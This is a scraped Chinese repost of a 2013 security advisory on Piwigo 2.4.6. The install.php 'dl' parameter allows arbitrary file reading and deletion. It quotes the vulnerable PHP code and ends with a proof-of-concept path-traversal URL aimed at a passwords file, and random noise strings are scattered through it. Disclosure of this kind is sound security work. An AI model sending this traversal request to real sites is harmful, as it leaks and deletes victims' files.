Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
$ y: o: D1 N( O  p====================================================================
/install.php:
/ @  m+ m2 h$ c& j-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
" F* o2 h) F  r7 p- i$ \7 h9 Y5 M$ j115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
2 M1 E/ W/ N0 n/ h117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
1 d) B# ~6 w7 _& i3 g121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
0 s% E+ D0 o3 U- J           PHP 5.4.4
           MySQL 5.5.25a
5 ?9 {' F) Q% f6 U8 `7 T
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
% o8 H5 B. P3 X) |  g3 l% C7 D                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
  p' M; `3 u2 ~: _2 L6 F/ S' j
5 G: j3 s7 m  d6 t8 ~- j--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

& X: a# [- ?* a1 n# [1 S: }, l+ D